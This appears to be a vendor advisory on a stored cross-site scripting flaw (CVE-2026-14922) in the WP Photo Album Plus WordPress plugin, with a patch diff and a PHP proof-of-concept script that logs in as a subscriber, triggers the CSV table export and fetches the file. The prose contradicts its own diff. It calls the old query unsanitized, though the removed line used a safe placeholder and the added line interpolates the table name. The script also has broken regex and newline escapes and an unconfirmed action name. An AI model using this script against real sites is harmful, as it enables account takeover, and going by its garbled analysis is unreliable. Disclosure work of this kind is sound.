Atomic Edge analysis of CVE-2026-14922: WP Photo Album Plus versions up to 9.2.04.003 contain a Stored Cross-Site Scripting vulnerability. The vulnerability exists in the CSV export functionality, where unsanitized user-controlled data is written to a CSV file. When the exported file is later accessed, it can execute arbitrary JavaScript in the context of the victim’s browser. The CVSS score is 6.4, and the flaw is classified as CWE-79.
The root cause lies in the wppa-ajax.php file, within the export table functionality. The vulnerable code accepts a ‘table’ parameter via the ‘wppa_get’ function. An authenticated attacker can provide arbitrary SQL table names. The code then passes this table name directly to the ‘wppa_export_table’ function in wppa-admin-functions.php. That function constructs a SQL query using the table name without validation or sanitization. The query reads all rows from the specified table and writes them to a CSV file via ‘fputcsv’. The CSV file is stored in a publicly accessible directory (WPPA_UPLOAD_URL/temp/) and can contain unsanitized HTML/JavaScript payloads from database fields. The patch adds a whitelist check for the table name, limiting it to plugin-specific tables, but does not address the underlying output escaping issue.
To exploit this vulnerability, an attacker must authenticate with at least subscriber-level access. The attack uses the WordPress AJAX handler, specifically ‘admin-ajax.php’, with the action set to a vulnerable export action. The attacker sends a POST request with the ‘table’ parameter set to the name of a database table containing a stored XSS payload. For example, the attacker can first submit a payload into a plugin field (such as a comment or album name) that stores malicious JavaScript. Then the attacker triggers the export of that table, causing the payload to be written to a CSV file. The CSV file is accessible at a predictable URL. When a victim with higher privileges (such as an administrator) opens the CSV file in the browser, the embedded script executes, leading to session hijacking, malicious actions, or further compromise.
The patch introduces a whitelist check in wppa-ajax.php. After retrieving the ‘table’ parameter, the code now verifies it is in a list of allowed database tables: ‘wppa_albums’, ‘wppa_photos’, ‘wppa_rating’, ‘wppa_comments’, ‘wppa_iptc’, ‘wppa_exif’, and ‘wppa_index’. If the table is not in this list, the request is rejected with an error message. Additionally, the patch changes the SQL query in wppa-admin-functions.php to use the whitelisted table name directly (instead of a placeholder) and changes the result type to ARRAY_A. These changes prevent an attacker from exporting arbitrary database tables, but do not add output escaping to the CSV data. The root XSS issue remains if any of the whitelisted tables contain unsanitized data.
The impact of this vulnerability is significant. An attacker with subscriber-level access can inject arbitrary JavaScript that executes in the context of a logged-in administrator. This allows the attacker to potentially steal session cookies, perform actions on behalf of the admin, create new admin accounts, modify site content, or fully compromise the WordPress installation. The CSV file itself may also be served with an incorrect Content-Type, increasing the likelihood of browser execution. Since the vulnerability requires only a low-privileged account, it presents a realistic and severe attack vector against WordPress sites using the WP Photo Album Plus plugin.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/wp-photo-album-plus/wppa-admin-functions.php
+++ b/wp-photo-album-plus/wppa-admin-functions.php
@@ -3,7 +3,7 @@
* Package: wp-photo-album-plus
*
* gp admin functions
-* Version: 9.2.01.003
+* Version: 9.2.04.003
*
*/
@@ -902,12 +902,11 @@
// Read chunks of 1000 rows
while ( $iter < $iters ) {
- $data = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM %i ORDER BY id LIMIT %d %d", $table, 1000 * $iter, 1000 ), ARRAY_N );
+ $data = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $table ORDER BY id LIMIT %d, %d", 1000 * $iter, 1000 ), ARRAY_A );
// Process rows
if ( $data ) {
foreach( $data as $row ) {
-
// Write to file
fputcsv( $file, $row, wppa_opt( 'csv_sep' ) );
}
--- a/wp-photo-album-plus/wppa-ajax.php
+++ b/wp-photo-album-plus/wppa-ajax.php
@@ -2,7 +2,7 @@
/* wppa-ajax.php
*
* Functions used in ajax requests
-* Version: 9.2.01.001
+* Version: 9.2.04.003
*
*/
@@ -328,11 +328,11 @@
}
if ( $brand ) {
- $exifdata = $wpdb->get_results( $wpdb->prepare( "SELECT DISTINCT f_description FROM $wpdb->wppa_exif WHERE photo > 0 AND tag = %s
+ $exifdata = $wpdb->get_results( $wpdb->prepare( "SELECT DISTINCT f_description FROM $wpdb->wppa_exif WHERE photo > 0 AND tag = %s
AND brand = %s AND f_description <> '' ORDER BY f_description", $tag, $brand ), ARRAY_A );
}
else {
- $exifdata = $wpdb->get_results( $wpdb->prepare( "SELECT DISTINCT f_description FROM $wpdb->wppa_exif WHERE photo > 0 AND tag = %s
+ $exifdata = $wpdb->get_results( $wpdb->prepare( "SELECT DISTINCT f_description FROM $wpdb->wppa_exif WHERE photo > 0 AND tag = %s
AND f_description <> '' ORDER BY f_description", $tag ), ARRAY_A );
}
@@ -1564,7 +1564,7 @@
}
// Compute my avg rating
- $myrats = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->wppa_rating WHERE photo = %d AND user = %s AND status = 'publish'", $photo, $user ) );
+ $myrats = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->wppa_rating WHERE photo = %d AND user = %s AND status = 'publish'", $photo, $user ), ARRAY_A );
if ( $myrats ) {
$sum = 0;
@@ -4445,7 +4445,15 @@
wppa_echo( '||1||'.__( 'Security check failure' , 'wp-photo-album-plus' ) );
wppa_exit();
}
+
+ // Check for valid table name
$table = wppa_get( 'table' );
+ $allowed_tables = [$wpdb->wppa_albums, $wpdb->wppa_photos, $wpdb->wppa_rating, $wpdb->wppa_comments, $wpdb->wppa_iptc, $wpdb->wppa_exif, $wpdb->wppa_index];
+ if ( ! in_array( $table, $allowed_tables ) ) {
+ wppa_echo( '||2||' . __( 'Invalid table identification', 'wp-photo-album-plus' ) );
+ wppa_exit();
+ }
+
$bret = wppa_export_table( $table );
if ( $bret ) {
wppa_echo( '||0||' . WPPA_UPLOAD_URL . '/temp/' . $table . '.csv' );
--- a/wp-photo-album-plus/wppa-wpdb-insert.php
+++ b/wp-photo-album-plus/wppa-wpdb-insert.php
@@ -3,7 +3,7 @@
* Package: wp-photo-album-plus
*
* Contains low-level wpdb routines that add new records
-* Version 9.2.04.002
+* Version 9.2.04.003
*
*/
@@ -234,7 +234,7 @@
$bret = wppa_insert( $table, $data, $format );
if ( $bret ) {
wppa_clear_cache( array( 'photo' => $data['photo'], 'other' => 'R' ) );
- wppa_schedule_maintenance_proc( 'wppa_rerate' );
+// wppa_schedule_maintenance_proc( 'wppa_rerate' );
return $data['id'];
}
--- a/wp-photo-album-plus/wppa-wpdb-update.php
+++ b/wp-photo-album-plus/wppa-wpdb-update.php
@@ -3,7 +3,7 @@
* Package: wp-photo-album-plus
*
* Contains low-level wpdb routines that update records
-* Version: 9.2.04.002
+* Version: 9.2.04.003
*
*/
@@ -766,7 +766,7 @@
// Do the update
try {
$iret = $wpdb->update( WPPA_RATING, $fields, ['id' => $id] );
- wppa_schedule_maintenance_proc( 'wppa_rerate' );
+// wppa_schedule_maintenance_proc( 'wppa_rerate' );
}
catch( Exception $e ) {
wppa_log( 'err', 'wppa_update_rating() caught exception: ' . $e->getMessage() );
--- a/wp-photo-album-plus/wppa.php
+++ b/wp-photo-album-plus/wppa.php
@@ -2,7 +2,7 @@
/*
* Plugin Name: WP Photo Album Plus
* Description: Easily manage and display your photo albums and slideshows within your WordPress site.
- * Version: 9.2.04.002
+ * Version: 9.2.04.003
* Author: J.N. Breetvelt a.k.a. OpaJaap
* Author URI: http://opajaap.nl/
* Plugin URI: https://wppa.nl/
@@ -22,7 +22,7 @@
global $wp_version;
/* WPPA Version */
-global $wppa_version; $wppa_version = '9.2.04.002'; // WPPA software version
+global $wppa_version; $wppa_version = '9.2.04.003'; // WPPA software version
global $wppa_revno; $wppa_revno = str_replace( '.', '', $wppa_version ); // WPPA db version
/* Init page js data */
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-14922 - WP Photo Album Plus < 9.2.04.003 - Authenticated (Subscriber+) Stored Cross-Site Scripting
/**
* Proof of Concept: CVE-2026-14922
* Requires: Subscriber-level credentials.
* Steps:
* 1. Login to get cookies.
* 2. Trigger export of a table that stores XSS payload (e.g., wppa_comments).
* 3. Fetch the generated CSV file to verify payload inclusion.
*/
$target_url = 'http://example.com';
$username = 'subscriber';
$password = 'password';
// Step 1: Login
echo "[*] Logging in...n";
$login_url = $target_url . '/wp-login.php';
$login_data = [
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
$response = curl_exec($ch);
if (curl_getinfo($ch, CURLINFO_HTTP_CODE) !== 200) {
die("[!] Login failed.n");
}
curl_close($ch);
echo "[+] Logged in.n";
// Step 2: Exploit export functionality
// The 'table' parameter should be set to a table that contains the XSS payload.
// Common plugin tables: wppa_comments, wppa_photos, wppa_exif, etc.
// For this PoC, we assume the payload 'MALICIOUS_PAYLOAD' has been stored in a comment.
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$action = 'wppa_export_table'; // Confirm the exact AJAX action from the plugin.
$exploit_data = [
'action' => $action,
'table' => 'wppa_comments' // or any whitelisted table containing the payload
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($exploit_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
$response = curl_exec($ch);
curl_close($ch);
if (strpos($response, '||0||') !== false) {
// Extract the exported file URL from the response
preg_match('/||0||(.*?)s*$/', $response, $matches);
$csv_url = isset($matches[1]) ? $matches[1] : null;
if ($csv_url) {
echo "[+] Export successful: $csv_urln";
// Fetch the CSV to verify the payload
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $csv_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$csv = curl_exec($ch);
curl_close($ch);
if (strpos($csv, 'MALICIOUS_PAYLOAD') !== false) {
echo "[+] XSS payload present in exported CSV.n";
} else {
echo "[!] Payload not found in exported data.n";
}
} else {
echo "[!] Export failed or malformed response.n";
}
} else {
echo "[!] Exploit failed. Response: $responsen";
}
?>